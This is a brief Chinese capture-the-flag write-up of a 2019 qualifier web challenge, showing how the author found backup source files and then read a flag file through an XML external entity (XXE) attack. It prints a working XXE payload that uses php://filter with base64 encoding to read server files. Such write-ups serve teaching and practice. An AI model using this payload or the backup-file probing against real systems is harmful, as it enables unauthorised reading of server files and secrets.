广东省第三届强网杯预选赛writeup-XX?
2019-09-29 本文已影响0人
nohands_noob
题目:XX?
Flag:flag{IUyasd8213123123890}

打开是个假的搜索引擎
在这个页面折腾没有发现任何问题
尝试访问index.php,有新发现

再尝试访问index.php~
发现了源码(一般后面加个~或者.bak的都是备份文件,没有头绪的时候可以试试)

是一道xxe漏洞,user、pass参数我们可以控制
php://input,该协议可以获取post提交的数据
用post的方式发送
Payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
php://filter/read=convert.base64-encode/resource该协议可以以base64的方式读取文件,因为转成了base64编码,因此代码不会被执行

拿到了一串base64,解码一下看到flag
